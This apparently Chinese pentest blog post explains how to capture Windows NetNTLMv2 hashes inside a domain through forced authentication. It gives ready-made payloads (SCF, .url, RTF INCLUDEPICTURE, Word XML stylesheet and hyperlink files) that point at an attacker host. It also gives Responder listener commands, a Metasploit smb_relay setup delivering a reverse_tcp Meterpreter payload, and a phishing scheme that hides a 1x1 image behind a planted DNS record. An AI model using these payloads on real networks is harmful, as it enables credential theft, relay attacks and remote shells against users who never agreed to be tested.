1.0前言

在拿下一台机器后一般都是直接抓取密码,其实我们可以通过一些域内水坑攻击了获取更多的哈希值。

2.0 SMB共享– SCF文件攻击

SMB是一种协议,在组织中广泛用于文件共享。在内网渗透中,我们常常在文件共享中发现包含敏感信息(例如,纯文本密码和数据库连接字符串)的文件,虽然文件共享不包含任何可用于连接到其他系统的数据,但如果未经身份验证的用户配置了写权限,也可能会获得域用户的密码哈希或Meterpreter Shell。

散列哈希

我们可以使用SCF(Shell命令文件)文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击。

我们可以所有以下代码保存为.scf文件然后放进文件共享中。

[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

我这里使用

攻击机:kali 192.168.50.146
web机:192.168.50.148 10.10.10.8
DC: 10.10.10.10

微信截图_20210216212438.png

保存为.scf文件放在文件共享中

微信截图_20210216212607.png

攻击机监听:

esponder -wrf --lm -v -I eth0

微信截图_20210216212811.png

不用点击,只要访问到文件就能抓到hash

当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的8字节质询密钥,并使用此质询密钥再次加密散列的NTLM
/ LANMAN密码。我们将捕获NTLMv2哈希。

微信截图_20210216214117.png

除了esponder之外,在MSF中也有相同的模块可用于捕获来自SMB客户端的挑战响应密码哈希。

auxiliary/server/capture/smb

微信截图_20210216215457.png

设置好叁数后就可以了,当用户浏览相同共享时,Metasploit将捕获其密码哈希。

微信截图_20210216220105.png

Meterpreter shell

上面的技术的主要优点是不需要任何用户交互,并自动强制用户连接到不存在的共享进行NTLMv2哈希进行协商。我们也可以将该技术与SMB中继相结合,后者提供有效载荷,以便从将访问共享的每个用户那里获取一个Meterpreter shell。

我们使用exploit/windows/smb/smb_relay模块

微信截图_20210216221315.png

exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST xxxxxxx
exploit

微信截图_20210216223951.png

将建立一个SMB服务器,该服务器将通过使用用户名和密码哈希与目标进行身份验证,在可写共享上交付有效负载,以用户的权利作为服务执行有效负载,执行清理并进行Meterpreter会话。

3.0 通过超链接

新建一个word文档,然后建立一个超链接

\\192.168.50.146\newyork.exe

注意这里指向我们自己的IP

微信截图_20210217213617.png

可以加一些迷惑性的文字。

在kali中监听一下

responder -I eth0

微信截图_20210217214226.png

当目标打开之后就可以获得hash

微信截图_20210217215732.png

我这里获取不到,但是我昨天还是可以的,,,,,

4.0 通过URL

c:\link.url@victim
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.0.0.5\%USERNAME%.icon
IconIndex=1

保存为.url文件上传到目标中

在kali中监听一下

responder -I eth0

然后目标访问到即可拿到hash

微信截图_20210218000750.png

forced-authentication-url.gif

5.0通过.RTF

file.rtf
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

上传到目标中

在kali中监听一下

responder -I eth0

rtf-hashes.gif

6.0 通过.xml文件

MS Word文档可以保存为.xml文件

Screenshot from 2018-12-09 16-23-39.png

这可以利用其中一个标签请求文档的样式表(第3行)从攻击者控制服务器。 受害者系统将分享其NetNTLM散列与攻击者试图验证攻击者的系统:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>

Peek 2018-12-09 16-44.gif

7.0 通过IncludePicture执行

新建一个Word文档,插入一个新的 IncludePicture :

Screenshot from 2018-12-09 17-01-11.png

保存为XML
Screenshot from 2018-12-09 17-02-32.png

注意要改ip地址

只要目标启动即可拿到hash

Screenshot from 2018-12-09 17-02-32.png

8.0 通过HTTP 图像和内部DNS

如果我们在网络中立足,可以执行以下操作:

在域内创建一个新的DNS A记录(任何经过身份验证的用户都可以做到),然后将其指向外部服务器
例如offense.local1.1.1.1

可以使用PowerMad https://github.com/Kevin-Robertson/Powermad

Invoke-DNSUpdate -dnsname vpn -dnsda

在服务器1.1.1.1上,启动并侦听端口80上的HTTP连接

创建包含以下内容的网络钓鱼电子邮件
随意将图片设为1x1像素或隐藏
请注意,解析为我们的服务器,但仅来自域内部http://vpn.offense.local1.1.1.1offense.local

将网络钓鱼发送到域中的目标用户offense.local
网络钓鱼收件人查看电子邮件,该电子邮件会自动尝试从中加载图像,然后将其解析为(端口80上响应程序变亮的位置)http://vpn.offense.localhttp://1.1.1.1

那么我们无需目标用户交互即捕获NetNLTMv2哈希

参考

https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-hyperlink
https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208
https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/
https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html

标签: none

评论已关闭